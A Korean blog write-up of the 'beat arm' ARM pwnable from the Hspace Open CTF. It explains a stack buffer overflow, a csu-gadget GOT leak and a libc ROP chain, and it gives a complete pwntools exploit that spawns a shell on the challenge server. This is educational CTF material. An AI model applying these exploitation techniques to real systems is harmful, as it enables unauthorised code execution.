문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro |
21년도 12월 4일에 있었던 Hspace Open CTF에 출제되었던 beat arm이라는 문제이다.
약 두달전에 푼거를 이제 롸업을 적었다.
문제 설명
Can you beat ARM? LOL
$ file beat_armbeat_arm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, BuildID[sha1]=3ae082761da3927964058af1a3eec40d1d0891d5, for GNU/Linux 3.2.0, not stripped
제공 파일 : 문제 바이너리, dockerfile
롸업
info
[*] '/home/jir4vvit/CTF/hspace2021/beat_arm'
Arch: **arm-32-little**
RELRO: Full RELRO
Stack: **No canary found**
NX: NX enabled
PIE: **No PIE (0x10000)**
주목해야할 것은 32bit arm이라는 것
vuln
이상한(?) 배너를 출력하고 메뉴를 출력해주는데, 그 메뉴에서 1번을 선택하면 fight() 함수가 실행이 된다.
fight() 함수 내부를 살펴보면 선물(!)을 주는 부분을 찾아볼 수 있다.
선물을 주는 기준은 정말 random이다.
만약 선물을 받게되면 comments를 적을 수 있는데 이때 read함수로 &buf에 데이터를 쓸 수 있다. 참고로 이때 buf는 int이고 아래와 같이 정의되어 있다.
base pointer로부터 0x5C만큼 떨어져있는데 0x80만큼 쓸 수 있는거면 bof가 터지게 된다.
아래처럼 코드를 작성해서 선물 받는 것을 트리거할 수 있다.
while True:
p.sendlineafter('> ', str(1))
p.sendlineafter('> ', str(2))
try:
if p.recvuntil('comments.', timeout=0.5):
break
except:
pass
How to Debug with gdb-multiarch
참고로 이 문제는 os가 ARM이기 때문에 이때까지 푼 문제들과는 디버깅하는 방법이 좀 다르다.
$ sudo apt install gcc-arm-linux-gnueabi (32bit)
$ sudo apt install gcc-aarch64-linux-gnu (64bit)
# qemu
$ sudo apt install qemu-arm-static
# gdb remote
# (terminal A)
$ qemu-arm-static -L /usr/arm-linux-gnueabi -g 2222 ./test
# (terminal B)
$ gdb-multiarch -q ./beat_arm
gdb> target remote localhost:2222
How to Exploit
How to leak
(참고로 인텔에서 csu를 이용하는 건 여기를 참고 해보자 ㅎㅎㅋ)
가젯이 없어서 csu 를 이용하여 leak을 해야한다. 레지스터에 대한 설명을 아~래 있다.
LDR은 눈치상 load 명령
BLX는 미리 말하면 call이다.
BNE는 Branch Not Equal
으음 r7에 puts_got 주소 넣어놓고(결론적으론 r0에 넣어야함, r0은 첫번째 argument)
BLX R3 때 puts_got 주소가 출력될 수 있게
r3에 puts_got를 넣어놓으면(결론적으론 r5에 넣어야함) got 주소를 leak할 수 있을 것 같다!
csu2 = 0x10D2C
csu1 = 0x10D0C
payload = ''
payload += 'A' * 0x5c
payload += p32(csu2)
# r4에서 r10까지 7개 레지스터 세팅
payload += p32(0) + p32(puts_got) + p32(0) + p32(puts_got) + p32(0)*3
payload += p32(csu1)
payload += p32(0) * 7
payload += p32(main)
p.sendlineafter('> ', payload)
p.recvuntil('\\n')
leak = u32(p.recv(4))
print("[*] leak(puts_got) :: ",hex(leak))
aslr이 걸려있지 않기 때문에 leak된 값을 static하게 코드에 넣어서 system 주소와 binsh 문자열 주소를 구했다.
gogo
32bit arm에서의 레지스터는 우리가 흔히 아는.. 인텔 레지스터와 다르다.
- 범용 레지스터
- r0 : 리턴값
- r0~r3 : argument 1~4
- r7 : arm 모드와 thumb 모드에 따라 역할이 다름. (arm 모드에서는 ebp, thumb 모드에서는 system call number)
- r14 : lr(복귀주소)
- r13 : sp
- r15 : pc
결론적으로 우리는 셸을 따기 위해서 system함수를 call해야하는데 arm에서는 어떻게 표현이 될까?
- CALL = BLX = Branch with LR
- r14에 복귀주소를 저장한다.
- B : branch
- L : lr 레지스터 저장
- X : thumb mode 전환
payload = ''
payload += 'A' * 0x5c
payload += p32(pop_r0+libc_base) + p32(binsh)
payload += p32(pop_r7+libc_base) + p32(system)
payload += p32(blx_r7+libc_base)
pause()
p.sendlineafter('> ', payload)
r0에 인자를 세팅해주고 r7에 system 주소를 넣어주고 call해준다.
참고로 저 가젯은 문제 바이너리가 아닌 libc에서 찾았다.
exploit code
from pwn import *
p = remote('pwnpwn.xyz', 1015)
#p = process(['qemu-arm-static', '-L' ,'/usr/arm-linux-gnueabi','-g', '12345', './beat_arm'])
e = ELF('./beat_arm')
libc = ELF('./libc-2.31.so')
puts_got = e.got['puts']
puts_plt = e.plt['puts']
main = e.symbols['main']
csu2 = 0x10D2C
csu1 = 0x10D0C
pop_r0 = 0x001225a4
pop_r7 = 0x0002e78c
blx_r7 = 0x00018870
while True:
p.sendlineafter('> ', str(1))
p.sendlineafter('> ', str(2))
try:
if p.recvuntil('comments.', timeout=0.5):
break
except:
pass
'''
payload = ''
payload += 'A' * 0x5c
payload += p32(csu2)
payload += p32(0) + p32(puts_got) + p32(0) + p32(puts_got) + p32(0)*3
payload += p32(csu1)
payload += p32(0) * 7
payload += p32(main)
pause()
p.sendlineafter('> ', payload)
p.recvuntil('\\n')
leak = u32(p.recv(4))
print("[*] leak(puts_got) :: ",hex(leak))
'''
# no aslr
leak = 0xff6c0620
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\\x00').next()
print("[+] system :: ", hex(system))
print("[+] binsh :: ", hex(binsh))
'''
while True:
p.sendlineafter('> ', str(1))
p.sendlineafter('> ', str(2))
try:
if p.recvuntil('comments.', timeout=0.5):
break
except:
pass
'''
payload = ''
payload += 'A' * 0x5c
payload += p32(pop_r0+libc_base) + p32(binsh)
payload += p32(pop_r7+libc_base) + p32(system)
payload += p32(blx_r7+libc_base)
pause()
p.sendlineafter('> ', payload)
p.interactive()
'CTF > Write UPs' 카테고리의 다른 글
[angstromCTF 2022 : binary] 내가 푼 문제들 풀이 (ROP, 쉘코드...) (0) | 2022.05.13 |
---|---|
[2022 Hayyim CTF] warmup 풀이 (0) | 2022.02.25 |
[THC CTF 2021] 내가 푼 문제들 풀이 (0) | 2021.06.17 |
[Circle City Con CTF 2021 : pwnable] [Baby] Fawn CDN 풀이 (overwriting) (0) | 2021.06.17 |
[BCACTF 2.0 : binex] 내가 푼 문제들 풀이 (포넙 올클!) (예약글, 6/14 09:30 공개) (0) | 2021.06.14 |